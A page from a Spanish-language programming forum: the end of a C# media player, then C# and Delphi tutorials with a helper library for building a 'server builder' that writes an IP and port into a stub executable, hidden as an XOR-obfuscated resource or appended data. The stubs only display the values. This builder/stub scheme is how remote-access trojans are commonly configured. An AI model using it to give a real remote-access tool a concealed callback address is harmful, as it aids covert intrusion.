  368.                    if (extension == ".mp3" || extension == ".m4a" || extension==".wma")
  369.                    {
  370.                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  371.                        ListBoxItem item1 = new ListBoxItem();
  372.                        item1.Content = nombre;
  373.                        item1.Tag = archivo;
  374.                        lista.Items.Add(item1);
  375.                    }
  376.                }
  377.            }
  378.        }
  379.  
  380.        private void MenuItem_Click_2(object sender, RoutedEventArgs e)
  381.        {
  382.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  383.            openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
  384.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  385.            openFileDialog1.Multiselect = true;
  386.            openFileDialog1.Title = "Select Video";
  387.            Nullable<bool> result = openFileDialog1.ShowDialog();
  388.            if (result == true)
  389.            {
  390.                string[] archivos = openFileDialog1.FileNames;
  391.                foreach (string archivo in archivos)
  392.                {
  393.                    string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  394.                    ListBoxItem item1 = new ListBoxItem();
  395.                    item1.Content = nombre;
  396.                    item1.Tag = archivo;
  397.                    lista.Items.Add(item1);
  398.                }
  399.            }
  400.        }
  401.  
  402.        private void MenuItem_Click_3(object sender, RoutedEventArgs e)
  403.        {
  404.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  405.            openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
  406.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  407.            openFileDialog1.Multiselect = true;
  408.            openFileDialog1.Title = "Select Videos";
  409.            Nullable<bool> result = openFileDialog1.ShowDialog();
  410.            if (result == true)
  411.            {
  412.                string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
  413.                string[] archivos = Directory.GetFiles(directorio);
  414.                foreach (string archivo in archivos)
  415.                {
  416.                    string extension = System.IO.Path.GetExtension(archivo);
  417.                    if (extension == ".avi" || extension==".mp4" || extension ==".flv" || extension==".mkv" || extension ==".wmv" || extension==".mpg")
  418.                    {
  419.                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  420.                        ListBoxItem item1 = new ListBoxItem();
  421.                        item1.Content = nombre;
  422.                        item1.Tag = archivo;
  423.                        lista.Items.Add(item1);
  424.                    }
  425.                }
  426.            }
  427.        }
  428.  
  429.        private void MenuItem_Click_4(object sender, RoutedEventArgs e)
  430.        {
  431.            repeat = true;
  432.        }
  433.  
  434.        private void MenuItem_Click_5(object sender, RoutedEventArgs e)
  435.        {
  436.            repeat = false;
  437.        }
  438.  
  439.        private void MenuItem_Click_6(object sender, RoutedEventArgs e)
  440.        {
  441.            automatic = true;
  442.        }
  443.  
  444.        private void MenuItem_Click_7(object sender, RoutedEventArgs e)
  445.        {
  446.            automatic = false;
  447.        }
  448.  
  449.        private void MenuItem_Click_10(object sender, RoutedEventArgs e)
  450.        {
  451.            player.IsMuted = true;
  452.        }
  453.  
  454.        private void MenuItem_Click_11(object sender, RoutedEventArgs e)
  455.        {
  456.            player.IsMuted = false;
  457.        }
  458.  
  459.        private void MenuItem_Click_8(object sender, RoutedEventArgs e)
  460.        {
  461.            MessageBox.Show("Written By Doddy Hackman in the summer of 2015");
  462.        }
  463.  
  464.        private void MenuItem_Click_9(object sender, RoutedEventArgs e)
  465.        {
  466.            Application.Current.Shutdown();
  467.        }
  468.  
  469.        private void MenuItem_Click_12(object sender, RoutedEventArgs e)
  470.        {
  471.            lista.Items.Clear();
  472.        }
  473.  
  474.    }
  475. }
  476.  
  477. // The End ?
  478.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso es todo.
9  Programación / .NET / [C#] Creacion de un Server Builder con recursos en: 10 Marzo 2015, 18:08
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en C# con recursos , en el manual anterior les enseñe como hacerlo mediante EOF , una mejor forma de hacer un server builder es usando recursos.

Empecemos ...

0x02 : Creacion del builder

Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :

"Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms" y le damos en aceptar

Como en la siguiente imagen :



Ahora tenemos que crear dos edit y un boton con el texto "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto de los edits de la siguiente forma :

textBox1 -> ip
textBox2 -> port

Para empezar vamos al inicio del codigo del programa y agregamos el siguiente codigo para poder manejar recursos :

Código
  1. using System.CodeDom.Compiler;
  2. using Microsoft.CSharp;
  3. using System.IO;
  4. using System.Resources;
  5.  

Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código
  1. private void button1_Click(object sender, EventArgs e)
  2. {
  3. string linea = "-ip-"+ip.Text+"-ip-"+"-port-"+port.Text+"-port-"; // Establecemos la variable "linea" como los datos de la IP y el puerto
  4.  
  5. System.Resources.ResourceWriter escribiendo = new System.Resources.ResourceWriter("configuration.resources"); // Empezamos a escribir el
  6. // recurso "configuration"
  7.  
  8. escribiendo.AddResource("configuration",linea); // Agregamos el recurso "configuration" con los datos de la variable "linea"
  9. escribiendo.Close(); // Guarda los recursos y se cierra
  10.  
  11. System.CodeDom.Compiler.CompilerParameters compilador = new System.CodeDom.Compiler.CompilerParameters(); // Iniciamos la instancia CompilerParameters
  12.  
  13. compilador.GenerateExecutable = true; // Aclaramos que queremos que genere un ejecutable
  14. compilador.OutputAssembly = "stub.exe"; // Establecemos el nombre del ejecutable a generar
  15. compilador.ReferencedAssemblies.Add("System.dll"); // Agregamos el ensamblado System
  16. compilador.ReferencedAssemblies.Add("System.Windows.Forms.dll"); // Agregamos el ensamblado System.Windows.Forms
  17. compilador.EmbeddedResources.Add("configuration.resources"); // Agregamos los recursos que se van a incluir en el ejecutable resultante
  18. compilador.CompilerOptions += "/t:winexe"; // Establecemos los argumentos de la linea de comandos que usara el compilador
  19.  
  20. System.CodeDom.Compiler.CompilerResults final = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(compilador, Properties.Resources.stub);
  21.  
  22. // Compilamos el recurso
  23.  
  24. if (File.Exists("configuration.resources")) // Si existe el archivo "configuration.resources" ...
  25. {
  26. System.IO.File.Delete("configuration.resources"); // Lo borramos
  27. }
  28. MessageBox.Show("Done"); // Mostramos por pantalla un mensaje para decir que el stub esta listo
  29. }
  30.  

El codigo les deberia ver algo asi :



Con eso ya tendriamos hecho el builder.

0x03 : Creacion del stub

Para hacer el stub , tenemos que seguir en el mismo proyecto , entonces vamos a "Proyecto->Propiedades" y seleccionamos la pestaña de "Recursos" , les deberia aperecer esta ventana :



Ahora hacemos click en "Agregar recurso" y seleccionamos "Agregar nuevo archivo de texto" , entonces nos va a aparecer una nueva ventana y escriben "stub".

Como en la siguiente imagen :



Una vez completado veran que pueden escribir en el stub.txt , tienen que poner el siguiente codigo :

Código
  1. using System;
  2. using System.Text;
  3. using System.Windows.Forms;
  4. using System.Resources;
  5. using System.Text.RegularExpressions;
  6.  
  7. namespace stub
  8. {
  9.    class Program
  10.    {
  11.        static void Main()
  12.        {
  13.  
  14.            string ip = ""; // Declaramos la variable string "ip" que contendra la IP
  15.            string port = ""; // Declaramos la variable string "port" que contendra el puerto
  16.  
  17.            ResourceManager leyendo_recurso = new ResourceManager("configuration", System.Reflection.Assembly.GetExecutingAssembly()); // Cargamos los datos
  18.            // del recurso "configuration"
  19.  
  20.            string datos = leyendo_recurso.GetString("configuration"); // Leemos los datos del recurso "configuration"
  21.  
  22.            Match regex = Regex.Match(datos, "-ip-(.*?)-ip--port-(.*?)-port-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la IP
  23.            // y el puerto
  24.            if (regex.Success) // Si se encontro algo ...
  25.            {
  26.                ip = regex.Groups[1].Value; // Guardamos la IP encontrada en la variable "ip"
  27.                port = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "port"
  28.            }
  29.  
  30.            MessageBox.Show("[+] IP : " + ip); // Mostramos la IP con un mensaje usando la variable "ip"
  31.            MessageBox.Show("[+] Port : " + port); // Mostramos el puerto con un mensaje usando la variable "port"
  32.  
  33.        }
  34.    }
  35. }
  36.  

Una imagen de como deberia quedar :



Con eso ya terminamos el stub.

0x04 : Probando el programa

Una vez terminado el programa podremos probarlo , entonces cargamos el builder y pongan los datos que quieran , le dan al boton "Make Server" y despues cargan el stub para mostrar los datos cargados desde el builder.

Les deberia que quedar algo asi :









0x05 : Builder Tools

Como regalo les dejo una clase en C# que hice para aplicar el metodo EOF de una forma mas facil y segura (datos cifrados con XOR).

El codigo viene con ejemplos de uso y tiene el siguiente codigo :

Código
  1. // Class Name : Builder Tools
  2. // Version : 0.1
  3. // (C) Doddy Hackman 2015
  4. //
  5. // Examples :
  6. //builder_tools tools = new builder_tools();
  7. //tools.escribir_eof("stub.exe","hola mundo de ***** [ip]morite[ip][port]sdasd[port]","key");
  8. //Console.Write(tools.leer_eof("stub.exe", "key"));
  9. //
  10.  
  11. using System;
  12. using System.Collections.Generic;
  13. using System.Text;
  14.  
  15. using System.IO;
  16. using System.Text.RegularExpressions;
  17.  
  18. namespace builder
  19. {
  20.    class builder_tools
  21.    {
  22.        public string xor_now(string linea, string key)
  23.        {
  24.            // Credits : Based on http://stackoverflow.com/questions/2532668/help-me-with-xor-encryption
  25.            // Thanks to Daniel Earwicker
  26.            var contenido = new StringBuilder();
  27.            for (int i = 0; i < linea.Length; i++)
  28.            {
  29.                contenido.Append((char)((uint)linea[i] ^ (uint)key[i % key.Length]));
  30.            }
  31.            return contenido.ToString();
  32.        }
  33.  
  34.        public bool escribir_eof(string archivo, string texto, string key)
  35.        {
  36.            string delimitador = "-0x646F646479206861636B6D616E-";
  37.  
  38.            FileStream abriendo = new FileStream(archivo, FileMode.Append);
  39.            BinaryWriter seteando = new BinaryWriter(abriendo);
  40.            seteando.Write(delimitador + xor_now(texto, key) + delimitador);
  41.            seteando.Flush();
  42.            seteando.Close();
  43.            abriendo.Close();
  44.  
  45.            return true;
  46.        }
  47.  
  48.        public string leer_eof(string archivo, string key)
  49.        {
  50.            StreamReader viendo = new StreamReader(archivo);
  51.  
  52.            string contenido = viendo.ReadToEnd();
  53.            string rta = "";
  54.  
  55.            Match regex = Regex.Match(contenido, "-0x646F646479206861636B6D616E-(.*?)-0x646F646479206861636B6D616E-", RegexOptions.IgnoreCase);
  56.  
  57.            if (regex.Success)
  58.            {
  59.                rta = xor_now(regex.Groups[1].Value, key);
  60.            }
  61.            else
  62.            {
  63.                rta = "WTF!";
  64.            }
  65.  
  66.            return rta;
  67.        }
  68.    }
  69. }
  70.  
  71. // The End ?
  72.  

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en Video Tutorial :

10  Programación / Programación General / [Delphi] Creacion de un Server Builder con recursos en: 9 Marzo 2015, 18:45
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en Delphi usando recursos , en el manual anteior les enseñe como hacerlo mediante EOF , algo que no era muy seguro porque los datos estaban en texto plano y se podian leer facilmente , mediante recursos es diferente y para asegurarlo vamos a usar XOR para eso.

Empecemos ...

0x02 : Creacion del builder

Primero vamos hacer el builder , para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



Ahora creamos dos edit y boton con el texto de "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto que tienen los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

Una vez hecho , hacemos doble click en el boton y agregamos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  archivo: string; // Declaramos la variable "archivo" como string
  4.  datos: string; // Declaramos la variable "datos" como string
  5.  clave: integer; // Declaramos la variable "clave" como integer
  6. begin
  7.  archivo := 'stubnow.exe';
  8.  // Establecemos la variable "archivo" como el nombre del ejecutable
  9.  // que vamos abrir
  10.  datos := '[ip]' + ip.Text + '[ip]' + '[port]' + port.Text + '[port]';
  11.  // Establecemos los datos que contiene la IP y el puerto separados por etiquetas
  12.  // y los guardamos en la variable "datos"
  13.  clave := 123; // Establecemos la variable "clave" como "123"
  14.  escribir_recurso(archivo, datos, clave);
  15.  // Escribimos el recurso usando la funcion
  16.  // "escribir_recurso" usando como argumentos las variables que acabamos de establecer
  17.  ShowMessage('Done'); // Mostramos un mensaje en pantalla
  18. end;
  19.  

Fuera del codigo de la funcion "click" del boton agregamos el codigo de estas dos funciones :

Código
  1. function xor_now(texto: string; clave: integer): string;
  2. // Funcion xor_now con el argumento
  3. // del texto a crifrar y la clave a usar
  4.  
  5. var
  6.  numero: integer; // Declaramos la variable "numero" como entero
  7.  contenido: string; // Declaramos la variable "contenido" como string
  8. begin
  9.  contenido := ''; // Vaciamos la variable contenido
  10.  for numero := 1 to Length(texto) do // Realizamos un for del "1"
  11.  // a la longitud de la variable texto
  12.  begin
  13.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  14.    // Realizamos el cifrado xor
  15.  end;
  16.  Result := contenido; // Devolvemos como resultado la variable "contenido"
  17. end;
  18.  
  19. function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
  20. var
  21.  escribiendo: THandle; // Declaramos la variable "escribiendo" como THandle
  22. begin
  23.  datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
  24.    '-0x646F646479206861636B6D616E-', clave);
  25.  // Ciframos los datos usando la funcion xor_now
  26.  // Los parametros que usamos en la funcion xor_now son la variable "datos" como el texto
  27.  // a cifrar , los "datos" estan entre dos delimitadores para facilitar su busqueda y
  28.  // tambien usamos la variable "clave" como key en el cifrado xor
  29.  escribiendo := BeginUpdateResource(pchar(ruta), False);
  30.  // Empezamos el inicio de de la creacion
  31.  // del recurso usando la variable "ruta"
  32.  UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
  33.    pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
  34.  // Escribimos el recurso usando
  35.  // la variable "datos" como el contenido del recurso y como nombre del recurso usamos
  36.  // "CONFIGURATION"
  37.  EndUpdateResource(escribiendo, False); // Terminamos de crear el recurso
  38.  Result := True; // Devolvemos True como resultado de la funcion
  39. end;
  40.  

Les deberia quedar algo asi :



Con eso ya estaria el builder entonces guardamos el proyecto como "builder_now" o como quieran para terminar el builder.

0x03 : Creacion del stub

Ahora vamos a codear el Stub para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



La idea es buscar el recurso en el ejecutable mismo , entonces para eso vamos a crear dos edits y un boton con el texto de "Get Values".

Despues deben poner como titulo del formulario "Stub" y cambiar los names de los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

El formulario les deberia quedar algo asi :



Ahora hacemos doble click en el boton y ponemos el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  clave: integer; // Declaramos la variable "clave" como integer
  4.  datos: string; // Declaramos la variable "datos" como string
  5.  ip_found: string; // Declaramos la variable "ip_found" como string
  6.  port_found: string; // Declaramos la variable "port_found" como string
  7. begin
  8.  clave := 123; // Establecemos la variable "clave" como 123
  9.  datos := leer_recurso(clave); // Leemos el recurso usando el key que esta
  10.  // en la variable clave y guardamos los datos en la variable "datos"
  11.  ip_found := regex(datos, '[ip]', '[ip]');
  12.  // Usamos la funcion regex() para buscar
  13.  // la ip y la guardamos en la variable "ip_found"
  14.  port_found := regex(datos, '[port]', '[port]');
  15.  // Usamos la funcion regex() para
  16.  // buscar el puerto y lo guardamos en la variable "port_found"
  17.  ip.text := ip_found; // Mostramos en el edit "ip" la IP
  18.  port.text := port_found; // Mostramos en el edit "port" el puerto
  19.  ShowMessage('Loaded'); // Mostramos en pantalla un mensaje
  20. end;
  21.  

Despues ponemos las siguientes funciones fuera del codigo del boton :

Código
  1. function regex(text: string; deaca: string; hastaaca: string): string;
  2. begin
  3.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  4.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  5.  Result := text;
  6. end;
  7.  
  8. function xor_now(texto: string; clave: integer): string;
  9. // Funcion xor_now con el argumento
  10. // del texto a crifrar y la clave a usar
  11.  
  12. var
  13.  numero: integer; // Declaramos la variable "numero" como entero
  14.  contenido: string; // Declaramos la variable "contenido" como string
  15. begin
  16.  contenido := ''; // Vaciamos la variable contenido
  17.  for numero := 1 to Length(texto) do // Realizamos un for del "1"
  18.  // a la longitud de la variable texto
  19.  begin
  20.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  21.    // Realizamos el cifrado xor
  22.  end;
  23.  Result := contenido; // Devolvemos como resultado la variable contenido
  24. end;
  25.  
  26. function leyendo_recurso: string;
  27. var
  28.  leyendo1: HRSRC; // Establecemos la variable "leyendo1" como HRSRC
  29.  leyendo2: DWORD; // Establecemos la variable "leyendo2" como DWORD
  30.  leyendo3: THandle; // Establecemos la variable "leyendo3" como THandle
  31.  leyendo4: pointer; // Establecemos la variable "leyendo4" como Pointer
  32. begin
  33.  leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
  34.  // Buscamos el recurso
  35.  // "CONFIGURATION"
  36.  leyendo2 := SizeofResource(hInstance, leyendo1);
  37.  // Calculamos la tamaño del recurso
  38.  leyendo3 := LoadResource(hInstance, leyendo1); // Cargamos el recurso
  39.  leyendo4 := LockResource(leyendo3);
  40.  // Bloqueamos el recurso para poder leerlo despues
  41.  if leyendo4 <> nil then // Si "leyendo4" no esta null ...
  42.  begin
  43.    SetLength(Result, leyendo2 - 1); // Cambiamos la longitud de Result
  44.    CopyMemory(@Result[1], leyendo4, leyendo2);
  45.    // Copiamos los datos al resultado de la funcion
  46.    FreeResource(leyendo3); // Liberamos el recurso
  47.  end;
  48. end;
  49.  
  50. function leer_recurso(clave: integer): string;
  51. var
  52.  datos: string; // Declaramos la variable "datos" como string
  53. begin
  54.  datos := xor_now(leyendo_recurso, clave);
  55.  // Realizamos el cifrado xor con los datos que usamos
  56.  // como argumentos de la funcion leer_recurso()
  57.  datos := regex(datos, '-0x646F646479206861636B6D616E-',
  58.    '-0x646F646479206861636B6D616E-');
  59.  // Usamos la funcion regex() para cortar los delimitadores
  60.  // y encontrar asi los datos del recurso para despues guardar el
  61.  // resultado en la variable "datos"
  62.  Result := datos;
  63.  // Devolvemos como resultado lo que contiene la variable "datos"
  64. end;
  65.  

El codigo les deberia quedar asi :



Guardan el proyecto con el nombre que quieran y con eso ya estaria listo el stub.

0x04 : Probando el programa

Para probarlo cargamos el builder y llenamos los campos de IP y Puerto como quieran , un ejemplo de como los complete yo seria  :



Despues presionan el boton "Make Server" y listo.

Ahora cargamos el stub y le damos al boton "Get Values" , deberian ver como resultado algo como esto :



Si no ven algo como en la imagen es porque hicieron algo mal en el codigo.

0x05 : Builder Tools

Como regalo les dejo esta Unit que hice en Delphi sobre como hacer un Builder , contiene funciones para EOF y Recursos , en los dos casos uso XOR para cifrar los datos , tambien viene con ejemplos de uso.

Solo deben agregar "builder_tools" en el parte de "uses" del codigo y listo , podran usar las funciones.

El codigo :

Código
  1. // Unit : Builder Tools
  2. // Version : 0.2
  3. // (C) Doddy Hackman 2015
  4. // Credits : Resources based in http://www.hackforums.net/showthread.php?tid=1422700
  5. // Examples :
  6. // escribir_eof('stub.exe','-delimitador-','-delimitador-','test',123);
  7. // leer_eof('stub.exe','-delimitador-','-delimitador-',123);
  8. // escribir_recurso('stub.exe','test',123);
  9. // leer_recurso(123);
  10.  
  11. unit builder_tools;
  12.  
  13. interface
  14.  
  15. uses SysUtils, Windows;
  16.  
  17. function leer_eof(ruta, delimitador1, delimitador2: string;
  18.  clave: integer): string;
  19. function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
  20.  clave: integer): bool;
  21. function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
  22. function leyendo_recurso: string;
  23. function leer_recurso(clave: integer): string;
  24. function xor_now(texto: string; clave: integer): string;
  25. function regex(text: string; deaca: string; hastaaca: string): string;
  26.  
  27. implementation
  28.  
  29. function xor_now(texto: string; clave: integer): string;
  30. var
  31.  numero: integer;
  32.  contenido: string;
  33. begin
  34.  contenido := '';
  35.  for numero := 1 to Length(texto) do
  36.  begin
  37.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  38.  end;
  39.  Result := contenido;
  40. end;
  41.  
  42. function regex(text: string; deaca: string; hastaaca: string): string;
  43. begin
  44.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  45.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  46.  Result := text;
  47. end;
  48.  
  49. function leer_eof(ruta, delimitador1, delimitador2: string;
  50.  clave: integer): string;
  51. var
  52.  ob: THandle;
  53.  code: Array [0 .. 9999 + 1] of Char;
  54.  nose: DWORD;
  55.  resultado: string;
  56.  
  57. begin
  58.  
  59.  ob := INVALID_HANDLE_VALUE;
  60.  code := '';
  61.  
  62.  ob := CreateFile(pchar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  63.    OPEN_EXISTING, 0, 0);
  64.  if (ob <> INVALID_HANDLE_VALUE) then
  65.  begin
  66.    SetFilePointer(ob, -9999, nil, FILE_END);
  67.    ReadFile(ob, code, 9999, nose, nil);
  68.    CloseHandle(ob);
  69.  end;
  70.  
  71.  resultado := regex(code, delimitador1, delimitador2);
  72.  resultado := xor_now(resultado, clave);
  73.  Result := resultado;
  74.  
  75. end;
  76.  
  77. function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
  78.  clave: integer): bool;
  79. var
  80.  linea: string;
  81.  aca: THandle;
  82.  code: Array [0 .. 9999 + 1] of Char;
  83.  nose: DWORD;
  84.  marca_uno: string;
  85.  marca_dos: string;
  86.  
  87. begin
  88.  
  89.  aca := INVALID_HANDLE_VALUE;
  90.  nose := 0;
  91.  
  92.  begin
  93.    linea := delimitador1 + xor_now(texto, clave) + delimitador2;
  94.    StrCopy(code, pchar(linea));
  95.    aca := CreateFile(pchar(ruta), GENERIC_WRITE, FILE_SHARE_READ, nil,
  96.      OPEN_EXISTING, 0, 0);
  97.    if (aca <> INVALID_HANDLE_VALUE) then
  98.    begin
  99.      SetFilePointer(aca, 0, nil, FILE_END);
  100.      WriteFile(aca, code, 9999, nose, nil);
  101.      CloseHandle(aca);
  102.      Result := True;
  103.    end
  104.    else
  105.    begin
  106.      Result := False;
  107.    end;
  108.  end;
  109. end;
  110.  
  111. function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
  112. var
  113.  escribiendo: THandle;
  114. begin
  115.  datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
  116.    '-0x646F646479206861636B6D616E-', clave);
  117.  escribiendo := BeginUpdateResource(pchar(ruta), False);
  118.  UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
  119.    pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
  120.  EndUpdateResource(escribiendo, False);
  121.  Result := True;
  122. end;
  123.  
  124. function leyendo_recurso: string;
  125. var
  126.  leyendo1: HRSRC;
  127.  leyendo2: DWORD;
  128.  leyendo3: THandle;
  129.  leyendo4: pointer;
  130. begin
  131.  leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
  132.  leyendo2 := SizeofResource(hInstance, leyendo1);
  133.  leyendo3 := LoadResource(hInstance, leyendo1);
  134.  leyendo4 := LockResource(leyendo3);
  135.  if leyendo4 <> nil then
  136.  begin
  137.    SetLength(Result, leyendo2 - 1);
  138.    CopyMemory(@Result[1], leyendo4, leyendo2);
  139.    FreeResource(leyendo3);
  140.  end;
  141. end;
  142.  
  143. function leer_recurso(clave: integer): string;
  144. var
  145.  datos: string;
  146. begin
  147.  datos := xor_now(leyendo_recurso, clave);
  148.  datos := regex(datos, '-0x646F646479206861636B6D616E-',
  149.    '-0x646F646479206861636B6D616E-');
  150.  Result := datos;
  151. end;
  152.  
  153. end.
  154.  
  155. // The End ?
  156.  

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 49
Powered by SMF 1.1.20 | SMF © 2006-2008, Simple Machines